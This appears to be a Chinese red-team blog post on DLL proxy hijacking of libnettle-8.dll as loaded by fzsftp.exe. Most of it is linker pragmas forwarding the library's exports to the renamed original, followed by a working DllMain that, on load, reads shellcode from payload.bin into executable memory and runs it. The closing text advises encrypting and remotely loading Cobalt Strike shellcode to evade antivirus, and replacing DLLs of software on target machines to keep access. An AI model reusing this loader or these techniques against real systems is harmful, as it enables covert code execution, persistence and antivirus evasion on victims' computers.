#pragma comment(linker, "/export:nettle_gcm_camellia128_digest=tmp2BF5.nettle_gcm_camellia128_digest,@271")
#pragma comment(linker, "/export:nettle_gcm_camellia128_encrypt=tmp2BF5.nettle_gcm_camellia128_encrypt,@272")
#pragma comment(linker, "/export:nettle_gcm_camellia128_set_iv=tmp2BF5.nettle_gcm_camellia128_set_iv,@273")
#pragma comment(linker, "/export:nettle_gcm_camellia128_set_key=tmp2BF5.nettle_gcm_camellia128_set_key,@274")
#pragma comment(linker, "/export:nettle_gcm_camellia128_update=tmp2BF5.nettle_gcm_camellia128_update,@275")
#pragma comment(linker, "/export:nettle_gcm_camellia256=tmp2BF5.nettle_gcm_camellia256,@276")
#pragma comment(linker, "/export:nettle_gcm_camellia256_decrypt=tmp2BF5.nettle_gcm_camellia256_decrypt,@277")
#pragma comment(linker, "/export:nettle_gcm_camellia256_digest=tmp2BF5.nettle_gcm_camellia256_digest,@278")
#pragma comment(linker, "/export:nettle_gcm_camellia256_encrypt=tmp2BF5.nettle_gcm_camellia256_encrypt,@279")
#pragma comment(linker, "/export:nettle_gcm_camellia256_set_iv=tmp2BF5.nettle_gcm_camellia256_set_iv,@280")
#pragma comment(linker, "/export:nettle_gcm_camellia256_set_key=tmp2BF5.nettle_gcm_camellia256_set_key,@281")
#pragma comment(linker, "/export:nettle_gcm_camellia256_update=tmp2BF5.nettle_gcm_camellia256_update,@282")
#pragma comment(linker, "/export:nettle_gcm_decrypt=tmp2BF5.nettle_gcm_decrypt,@283")
#pragma comment(linker, "/export:nettle_gcm_digest=tmp2BF5.nettle_gcm_digest,@284")
#pragma comment(linker, "/export:nettle_gcm_encrypt=tmp2BF5.nettle_gcm_encrypt,@285")
#pragma comment(linker, "/export:nettle_gcm_set_iv=tmp2BF5.nettle_gcm_set_iv,@286")
#pragma comment(linker, "/export:nettle_gcm_set_key=tmp2BF5.nettle_gcm_set_key,@287")
#pragma comment(linker, "/export:nettle_gcm_update=tmp2BF5.nettle_gcm_update,@288")
#pragma comment(linker, "/export:nettle_get_aeads=tmp2BF5.nettle_get_aeads,@289")
#pragma comment(linker, "/export:nettle_get_armors=tmp2BF5.nettle_get_armors,@290")
#pragma comment(linker, "/export:nettle_get_ciphers=tmp2BF5.nettle_get_ciphers,@291")
#pragma comment(linker, "/export:nettle_get_hashes=tmp2BF5.nettle_get_hashes,@292")
#pragma comment(linker, "/export:nettle_get_macs=tmp2BF5.nettle_get_macs,@293")
#pragma comment(linker, "/export:nettle_gosthash94=tmp2BF5.nettle_gosthash94,@294")
#pragma comment(linker, "/export:nettle_gosthash94_digest=tmp2BF5.nettle_gosthash94_digest,@295")
#pragma comment(linker, "/export:nettle_gosthash94_init=tmp2BF5.nettle_gosthash94_init,@296")
#pragma comment(linker, "/export:nettle_gosthash94_update=tmp2BF5.nettle_gosthash94_update,@297")
#pragma comment(linker, "/export:nettle_gosthash94cp=tmp2BF5.nettle_gosthash94cp,@298")
#pragma comment(linker, "/export:nettle_gosthash94cp_digest=tmp2BF5.nettle_gosthash94cp_digest,@299")
#pragma comment(linker, "/export:nettle_gosthash94cp_update=tmp2BF5.nettle_gosthash94cp_update,@300")
#pragma comment(linker, "/export:nettle_hkdf_expand=tmp2BF5.nettle_hkdf_expand,@301")
#pragma comment(linker, "/export:nettle_hkdf_extract=tmp2BF5.nettle_hkdf_extract,@302")
#pragma comment(linker, "/export:nettle_hmac_digest=tmp2BF5.nettle_hmac_digest,@303")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_digest=tmp2BF5.nettle_hmac_gosthash94_digest,@304")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_set_key=tmp2BF5.nettle_hmac_gosthash94_set_key,@305")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_update=tmp2BF5.nettle_hmac_gosthash94_update,@306")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_digest=tmp2BF5.nettle_hmac_gosthash94cp_digest,@307")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_set_key=tmp2BF5.nettle_hmac_gosthash94cp_set_key,@308")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_update=tmp2BF5.nettle_hmac_gosthash94cp_update,@309")
#pragma comment(linker, "/export:nettle_hmac_md5=tmp2BF5.nettle_hmac_md5,@310")
#pragma comment(linker, "/export:nettle_hmac_md5_digest=tmp2BF5.nettle_hmac_md5_digest,@311")
#pragma comment(linker, "/export:nettle_hmac_md5_set_key=tmp2BF5.nettle_hmac_md5_set_key,@312")
#pragma comment(linker, "/export:nettle_hmac_md5_update=tmp2BF5.nettle_hmac_md5_update,@313")
#pragma comment(linker, "/export:nettle_hmac_ripemd160=tmp2BF5.nettle_hmac_ripemd160,@314")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_digest=tmp2BF5.nettle_hmac_ripemd160_digest,@315")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_set_key=tmp2BF5.nettle_hmac_ripemd160_set_key,@316")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_update=tmp2BF5.nettle_hmac_ripemd160_update,@317")
#pragma comment(linker, "/export:nettle_hmac_set_key=tmp2BF5.nettle_hmac_set_key,@318")
#pragma comment(linker, "/export:nettle_hmac_sha1=tmp2BF5.nettle_hmac_sha1,@319")
#pragma comment(linker, "/export:nettle_hmac_sha1_digest=tmp2BF5.nettle_hmac_sha1_digest,@320")
#pragma comment(linker, "/export:nettle_hmac_sha1_set_key=tmp2BF5.nettle_hmac_sha1_set_key,@321")
#pragma comment(linker, "/export:nettle_hmac_sha1_update=tmp2BF5.nettle_hmac_sha1_update,@322")
#pragma comment(linker, "/export:nettle_hmac_sha224=tmp2BF5.nettle_hmac_sha224,@323")
#pragma comment(linker, "/export:nettle_hmac_sha224_digest=tmp2BF5.nettle_hmac_sha224_digest,@324")
#pragma comment(linker, "/export:nettle_hmac_sha224_set_key=tmp2BF5.nettle_hmac_sha224_set_key,@325")
#pragma comment(linker, "/export:nettle_hmac_sha256=tmp2BF5.nettle_hmac_sha256,@326")
#pragma comment(linker, "/export:nettle_hmac_sha256_digest=tmp2BF5.nettle_hmac_sha256_digest,@327")
#pragma comment(linker, "/export:nettle_hmac_sha256_set_key=tmp2BF5.nettle_hmac_sha256_set_key,@328")
#pragma comment(linker, "/export:nettle_hmac_sha256_update=tmp2BF5.nettle_hmac_sha256_update,@329")
#pragma comment(linker, "/export:nettle_hmac_sha384=tmp2BF5.nettle_hmac_sha384,@330")
#pragma comment(linker, "/export:nettle_hmac_sha384_digest=tmp2BF5.nettle_hmac_sha384_digest,@331")
#pragma comment(linker, "/export:nettle_hmac_sha384_set_key=tmp2BF5.nettle_hmac_sha384_set_key,@332")
#pragma comment(linker, "/export:nettle_hmac_sha512=tmp2BF5.nettle_hmac_sha512,@333")
#pragma comment(linker, "/export:nettle_hmac_sha512_digest=tmp2BF5.nettle_hmac_sha512_digest,@334")
#pragma comment(linker, "/export:nettle_hmac_sha512_set_key=tmp2BF5.nettle_hmac_sha512_set_key,@335")
#pragma comment(linker, "/export:nettle_hmac_sha512_update=tmp2BF5.nettle_hmac_sha512_update,@336")
#pragma comment(linker, "/export:nettle_hmac_update=tmp2BF5.nettle_hmac_update,@337")
#pragma comment(linker, "/export:nettle_knuth_lfib_get=tmp2BF5.nettle_knuth_lfib_get,@338")
#pragma comment(linker, "/export:nettle_knuth_lfib_get_array=tmp2BF5.nettle_knuth_lfib_get_array,@339")
#pragma comment(linker, "/export:nettle_knuth_lfib_init=tmp2BF5.nettle_knuth_lfib_init,@340")
#pragma comment(linker, "/export:nettle_knuth_lfib_random=tmp2BF5.nettle_knuth_lfib_random,@341")
#pragma comment(linker, "/export:nettle_lookup_hash=tmp2BF5.nettle_lookup_hash,@342")
#pragma comment(linker, "/export:nettle_md2=tmp2BF5.nettle_md2,@343")
#pragma comment(linker, "/export:nettle_md2_digest=tmp2BF5.nettle_md2_digest,@344")
#pragma comment(linker, "/export:nettle_md2_init=tmp2BF5.nettle_md2_init,@345")
#pragma comment(linker, "/export:nettle_md2_update=tmp2BF5.nettle_md2_update,@346")
#pragma comment(linker, "/export:nettle_md4=tmp2BF5.nettle_md4,@347")
#pragma comment(linker, "/export:nettle_md4_digest=tmp2BF5.nettle_md4_digest,@348")
#pragma comment(linker, "/export:nettle_md4_init=tmp2BF5.nettle_md4_init,@349")
#pragma comment(linker, "/export:nettle_md4_update=tmp2BF5.nettle_md4_update,@350")
#pragma comment(linker, "/export:nettle_md5=tmp2BF5.nettle_md5,@351")
#pragma comment(linker, "/export:nettle_md5_compress=tmp2BF5.nettle_md5_compress,@352")
#pragma comment(linker, "/export:nettle_md5_digest=tmp2BF5.nettle_md5_digest,@353")
#pragma comment(linker, "/export:nettle_md5_init=tmp2BF5.nettle_md5_init,@354")
#pragma comment(linker, "/export:nettle_md5_update=tmp2BF5.nettle_md5_update,@355")
#pragma comment(linker, "/export:nettle_memeql_sec=tmp2BF5.nettle_memeql_sec,@356")
#pragma comment(linker, "/export:nettle_memxor=tmp2BF5.nettle_memxor,@357")
#pragma comment(linker, "/export:nettle_memxor3=tmp2BF5.nettle_memxor3,@358")
#pragma comment(linker, "/export:nettle_pbkdf2=tmp2BF5.nettle_pbkdf2,@359")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_gosthash94cp=tmp2BF5.nettle_pbkdf2_hmac_gosthash94cp,@360")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_sha1=tmp2BF5.nettle_pbkdf2_hmac_sha1,@361")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_sha256=tmp2BF5.nettle_pbkdf2_hmac_sha256,@362")
#pragma comment(linker, "/export:nettle_poly1305_aes_digest=tmp2BF5.nettle_poly1305_aes_digest,@363")
#pragma comment(linker, "/export:nettle_poly1305_aes_set_key=tmp2BF5.nettle_poly1305_aes_set_key,@364")
#pragma comment(linker, "/export:nettle_poly1305_aes_set_nonce=tmp2BF5.nettle_poly1305_aes_set_nonce,@365")
#pragma comment(linker, "/export:nettle_poly1305_aes_update=tmp2BF5.nettle_poly1305_aes_update,@366")
#pragma comment(linker, "/export:nettle_realloc=tmp2BF5.nettle_realloc,@367")
#pragma comment(linker, "/export:nettle_ripemd160=tmp2BF5.nettle_ripemd160,@368")
#pragma comment(linker, "/export:nettle_ripemd160_digest=tmp2BF5.nettle_ripemd160_digest,@369")
#pragma comment(linker, "/export:nettle_ripemd160_init=tmp2BF5.nettle_ripemd160_init,@370")
#pragma comment(linker, "/export:nettle_ripemd160_update=tmp2BF5.nettle_ripemd160_update,@371")
#pragma comment(linker, "/export:nettle_salsa20_128_set_key=tmp2BF5.nettle_salsa20_128_set_key,@372")
#pragma comment(linker, "/export:nettle_salsa20_256_set_key=tmp2BF5.nettle_salsa20_256_set_key,@373")
#pragma comment(linker, "/export:nettle_salsa20_crypt=tmp2BF5.nettle_salsa20_crypt,@374")
#pragma comment(linker, "/export:nettle_salsa20_set_key=tmp2BF5.nettle_salsa20_set_key,@375")
#pragma comment(linker, "/export:nettle_salsa20_set_nonce=tmp2BF5.nettle_salsa20_set_nonce,@376")
#pragma comment(linker, "/export:nettle_salsa20r12_crypt=tmp2BF5.nettle_salsa20r12_crypt,@377")
#pragma comment(linker, "/export:nettle_serpent128=tmp2BF5.nettle_serpent128,@378")
#pragma comment(linker, "/export:nettle_serpent128_set_key=tmp2BF5.nettle_serpent128_set_key,@379")
#pragma comment(linker, "/export:nettle_serpent192=tmp2BF5.nettle_serpent192,@380")
#pragma comment(linker, "/export:nettle_serpent192_set_key=tmp2BF5.nettle_serpent192_set_key,@381")
#pragma comment(linker, "/export:nettle_serpent256=tmp2BF5.nettle_serpent256,@382")
#pragma comment(linker, "/export:nettle_serpent256_set_key=tmp2BF5.nettle_serpent256_set_key,@383")
#pragma comment(linker, "/export:nettle_serpent_decrypt=tmp2BF5.nettle_serpent_decrypt,@384")
#pragma comment(linker, "/export:nettle_serpent_encrypt=tmp2BF5.nettle_serpent_encrypt,@385")
#pragma comment(linker, "/export:nettle_serpent_set_key=tmp2BF5.nettle_serpent_set_key,@386")
#pragma comment(linker, "/export:nettle_sha1=tmp2BF5.nettle_sha1,@387")
#pragma comment(linker, "/export:nettle_sha1_compress=tmp2BF5.nettle_sha1_compress,@388")
#pragma comment(linker, "/export:nettle_sha1_digest=tmp2BF5.nettle_sha1_digest,@389")
#pragma comment(linker, "/export:nettle_sha1_init=tmp2BF5.nettle_sha1_init,@390")
#pragma comment(linker, "/export:nettle_sha1_update=tmp2BF5.nettle_sha1_update,@391")
#pragma comment(linker, "/export:nettle_sha224=tmp2BF5.nettle_sha224,@392")
#pragma comment(linker, "/export:nettle_sha224_digest=tmp2BF5.nettle_sha224_digest,@393")
#pragma comment(linker, "/export:nettle_sha224_init=tmp2BF5.nettle_sha224_init,@394")
#pragma comment(linker, "/export:nettle_sha256=tmp2BF5.nettle_sha256,@395")
#pragma comment(linker, "/export:nettle_sha256_digest=tmp2BF5.nettle_sha256_digest,@396")
#pragma comment(linker, "/export:nettle_sha256_init=tmp2BF5.nettle_sha256_init,@397")
#pragma comment(linker, "/export:nettle_sha256_update=tmp2BF5.nettle_sha256_update,@398")
#pragma comment(linker, "/export:nettle_sha384=tmp2BF5.nettle_sha384,@399")
#pragma comment(linker, "/export:nettle_sha384_digest=tmp2BF5.nettle_sha384_digest,@400")
#pragma comment(linker, "/export:nettle_sha384_init=tmp2BF5.nettle_sha384_init,@401")
#pragma comment(linker, "/export:nettle_sha3_224=tmp2BF5.nettle_sha3_224,@402")
#pragma comment(linker, "/export:nettle_sha3_224_digest=tmp2BF5.nettle_sha3_224_digest,@403")
#pragma comment(linker, "/export:nettle_sha3_224_init=tmp2BF5.nettle_sha3_224_init,@404")
#pragma comment(linker, "/export:nettle_sha3_224_update=tmp2BF5.nettle_sha3_224_update,@405")
#pragma comment(linker, "/export:nettle_sha3_256=tmp2BF5.nettle_sha3_256,@406")
#pragma comment(linker, "/export:nettle_sha3_256_digest=tmp2BF5.nettle_sha3_256_digest,@407")
#pragma comment(linker, "/export:nettle_sha3_256_init=tmp2BF5.nettle_sha3_256_init,@408")
#pragma comment(linker, "/export:nettle_sha3_256_shake=tmp2BF5.nettle_sha3_256_shake,@409")
#pragma comment(linker, "/export:nettle_sha3_256_update=tmp2BF5.nettle_sha3_256_update,@410")
#pragma comment(linker, "/export:nettle_sha3_384=tmp2BF5.nettle_sha3_384,@411")
#pragma comment(linker, "/export:nettle_sha3_384_digest=tmp2BF5.nettle_sha3_384_digest,@412")
#pragma comment(linker, "/export:nettle_sha3_384_init=tmp2BF5.nettle_sha3_384_init,@413")
#pragma comment(linker, "/export:nettle_sha3_384_update=tmp2BF5.nettle_sha3_384_update,@414")
#pragma comment(linker, "/export:nettle_sha3_512=tmp2BF5.nettle_sha3_512,@415")
#pragma comment(linker, "/export:nettle_sha3_512_digest=tmp2BF5.nettle_sha3_512_digest,@416")
#pragma comment(linker, "/export:nettle_sha3_512_init=tmp2BF5.nettle_sha3_512_init,@417")
#pragma comment(linker, "/export:nettle_sha3_512_update=tmp2BF5.nettle_sha3_512_update,@418")
#pragma comment(linker, "/export:nettle_sha3_permute=tmp2BF5.nettle_sha3_permute,@419")
#pragma comment(linker, "/export:nettle_sha512=tmp2BF5.nettle_sha512,@420")
#pragma comment(linker, "/export:nettle_sha512_224=tmp2BF5.nettle_sha512_224,@421")
#pragma comment(linker, "/export:nettle_sha512_224_digest=tmp2BF5.nettle_sha512_224_digest,@422")
#pragma comment(linker, "/export:nettle_sha512_224_init=tmp2BF5.nettle_sha512_224_init,@423")
#pragma comment(linker, "/export:nettle_sha512_256=tmp2BF5.nettle_sha512_256,@424")
#pragma comment(linker, "/export:nettle_sha512_256_digest=tmp2BF5.nettle_sha512_256_digest,@425")
#pragma comment(linker, "/export:nettle_sha512_256_init=tmp2BF5.nettle_sha512_256_init,@426")
#pragma comment(linker, "/export:nettle_sha512_digest=tmp2BF5.nettle_sha512_digest,@427")
#pragma comment(linker, "/export:nettle_sha512_init=tmp2BF5.nettle_sha512_init,@428")
#pragma comment(linker, "/export:nettle_sha512_update=tmp2BF5.nettle_sha512_update,@429")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_decrypt_message=tmp2BF5.nettle_siv_cmac_aes128_decrypt_message,@430")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_encrypt_message=tmp2BF5.nettle_siv_cmac_aes128_encrypt_message,@431")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_set_key=tmp2BF5.nettle_siv_cmac_aes128_set_key,@432")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_decrypt_message=tmp2BF5.nettle_siv_cmac_aes256_decrypt_message,@433")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_encrypt_message=tmp2BF5.nettle_siv_cmac_aes256_encrypt_message,@434")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_set_key=tmp2BF5.nettle_siv_cmac_aes256_set_key,@435")
#pragma comment(linker, "/export:nettle_siv_cmac_decrypt_message=tmp2BF5.nettle_siv_cmac_decrypt_message,@436")
#pragma comment(linker, "/export:nettle_siv_cmac_encrypt_message=tmp2BF5.nettle_siv_cmac_encrypt_message,@437")
#pragma comment(linker, "/export:nettle_siv_cmac_set_key=tmp2BF5.nettle_siv_cmac_set_key,@438")
#pragma comment(linker, "/export:nettle_twofish128=tmp2BF5.nettle_twofish128,@439")
#pragma comment(linker, "/export:nettle_twofish128_set_key=tmp2BF5.nettle_twofish128_set_key,@440")
#pragma comment(linker, "/export:nettle_twofish192=tmp2BF5.nettle_twofish192,@441")
#pragma comment(linker, "/export:nettle_twofish192_set_key=tmp2BF5.nettle_twofish192_set_key,@442")
#pragma comment(linker, "/export:nettle_twofish256=tmp2BF5.nettle_twofish256,@443")
#pragma comment(linker, "/export:nettle_twofish256_set_key=tmp2BF5.nettle_twofish256_set_key,@444")
#pragma comment(linker, "/export:nettle_twofish_decrypt=tmp2BF5.nettle_twofish_decrypt,@445")
#pragma comment(linker, "/export:nettle_twofish_encrypt=tmp2BF5.nettle_twofish_encrypt,@446")
#pragma comment(linker, "/export:nettle_twofish_set_key=tmp2BF5.nettle_twofish_set_key,@447")
#pragma comment(linker, "/export:nettle_umac128_digest=tmp2BF5.nettle_umac128_digest,@448")
#pragma comment(linker, "/export:nettle_umac128_set_key=tmp2BF5.nettle_umac128_set_key,@449")
#pragma comment(linker, "/export:nettle_umac128_set_nonce=tmp2BF5.nettle_umac128_set_nonce,@450")
#pragma comment(linker, "/export:nettle_umac128_update=tmp2BF5.nettle_umac128_update,@451")
#pragma comment(linker, "/export:nettle_umac32_digest=tmp2BF5.nettle_umac32_digest,@452")
#pragma comment(linker, "/export:nettle_umac32_set_key=tmp2BF5.nettle_umac32_set_key,@453")
#pragma comment(linker, "/export:nettle_umac32_set_nonce=tmp2BF5.nettle_umac32_set_nonce,@454")
#pragma comment(linker, "/export:nettle_umac32_update=tmp2BF5.nettle_umac32_update,@455")
#pragma comment(linker, "/export:nettle_umac64_digest=tmp2BF5.nettle_umac64_digest,@456")
#pragma comment(linker, "/export:nettle_umac64_set_key=tmp2BF5.nettle_umac64_set_key,@457")
#pragma comment(linker, "/export:nettle_umac64_set_nonce=tmp2BF5.nettle_umac64_set_nonce,@458")
#pragma comment(linker, "/export:nettle_umac64_update=tmp2BF5.nettle_umac64_update,@459")
#pragma comment(linker, "/export:nettle_umac96_digest=tmp2BF5.nettle_umac96_digest,@460")
#pragma comment(linker, "/export:nettle_umac96_set_key=tmp2BF5.nettle_umac96_set_key,@461")
#pragma comment(linker, "/export:nettle_umac96_set_nonce=tmp2BF5.nettle_umac96_set_nonce,@462")
#pragma comment(linker, "/export:nettle_umac96_update=tmp2BF5.nettle_umac96_update,@463")
#pragma comment(linker, "/export:nettle_version_major=tmp2BF5.nettle_version_major,@464")
#pragma comment(linker, "/export:nettle_version_minor=tmp2BF5.nettle_version_minor,@465")
#pragma comment(linker, "/export:nettle_xrealloc=tmp2BF5.nettle_xrealloc,@466")
#pragma comment(linker, "/export:nettle_xts_aes128_decrypt_message=tmp2BF5.nettle_xts_aes128_decrypt_message,@467")
#pragma comment(linker, "/export:nettle_xts_aes128_encrypt_message=tmp2BF5.nettle_xts_aes128_encrypt_message,@468")
#pragma comment(linker, "/export:nettle_xts_aes128_set_decrypt_key=tmp2BF5.nettle_xts_aes128_set_decrypt_key,@469")
#pragma comment(linker, "/export:nettle_xts_aes128_set_encrypt_key=tmp2BF5.nettle_xts_aes128_set_encrypt_key,@470")
#pragma comment(linker, "/export:nettle_xts_aes256_decrypt_message=tmp2BF5.nettle_xts_aes256_decrypt_message,@471")
#pragma comment(linker, "/export:nettle_xts_aes256_encrypt_message=tmp2BF5.nettle_xts_aes256_encrypt_message,@472")
#pragma comment(linker, "/export:nettle_xts_aes256_set_decrypt_key=tmp2BF5.nettle_xts_aes256_set_decrypt_key,@473")
#pragma comment(linker, "/export:nettle_xts_aes256_set_encrypt_key=tmp2BF5.nettle_xts_aes256_set_encrypt_key,@474")
#pragma comment(linker, "/export:nettle_xts_decrypt_message=tmp2BF5.nettle_xts_decrypt_message,@475")
#pragma comment(linker, "/export:nettle_xts_encrypt_message=tmp2BF5.nettle_xts_encrypt_message,@476")
#pragma comment(linker, "/export:nettle_yarrow256_fast_reseed=tmp2BF5.nettle_yarrow256_fast_reseed,@477")
#pragma comment(linker, "/export:nettle_yarrow256_init=tmp2BF5.nettle_yarrow256_init,@478")
#pragma comment(linker, "/export:nettle_yarrow256_is_seeded=tmp2BF5.nettle_yarrow256_is_seeded,@479")
#pragma comment(linker, "/export:nettle_yarrow256_needed_sources=tmp2BF5.nettle_yarrow256_needed_sources,@480")
#pragma comment(linker, "/export:nettle_yarrow256_random=tmp2BF5.nettle_yarrow256_random,@481")
#pragma comment(linker, "/export:nettle_yarrow256_seed=tmp2BF5.nettle_yarrow256_seed,@482")
#pragma comment(linker, "/export:nettle_yarrow256_slow_reseed=tmp2BF5.nettle_yarrow256_slow_reseed,@483")
#pragma comment(linker, "/export:nettle_yarrow256_update=tmp2BF5.nettle_yarrow256_update,@484")
#pragma comment(linker, "/export:nettle_yarrow_key_event_estimate=tmp2BF5.nettle_yarrow_key_event_estimate,@485")
#pragma comment(linker, "/export:nettle_yarrow_key_event_init=tmp2BF5.nettle_yarrow_key_event_init,@486")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("payload.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);
    
    //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    fread(buffer, size, 1, fp);
    
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    memcpy(exec, buffer, size);
    
    ((void(*) ())exec)();
    
    return 0;

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // https://gist.github.com/securitytube/c956348435cc90b8e1f7
                // Create a thread and close the handle as we do not want to use it to wait for it 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);
    
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;

}

Domagic函数从payload.bin中读取shellcode，之后使用virtualmalloc和malloc函数分配相应大小的内存空间，再将指针指向对应的空间执行shellcode

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DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("payload.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);
    
    //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    fread(buffer, size, 1, fp);
    
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    memcpy(exec, buffer, size);
    
    ((void(*) ())exec)();
    
    return 0;

}

Dllmain函数为dll函数的入口

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BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // https://gist.github.com/securitytube/c956348435cc90b8e1f7
                // Create a thread and close the handle as we do not want to use it to wait for it 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);
    
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;

}

原文章的原理如下图

A：fzsftp.exe

B:tmp2BF5.dll(正常的libnettle-8.dll文件)

C:恶意libnettle-8.dll

E:payload.bin 存储shellcode

imgbed.cn图床

实际操作中用cs直接生成的shellcode已经被杀软识别，因此免杀效果很差，将shellcode分离后远程加载并进行加密后才可以实现免杀。在实战中可以根据目标机器上安装的软件生成dll文件并替换，实现权限维持

参考

https://cloud.tencent.com/developer/article/1739263

https://github.com/Flangvik/SharpDllProxy

https://gist.github.com/securitytube/c956348435cc90b8e1f7

本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议 ，转载请注明出处！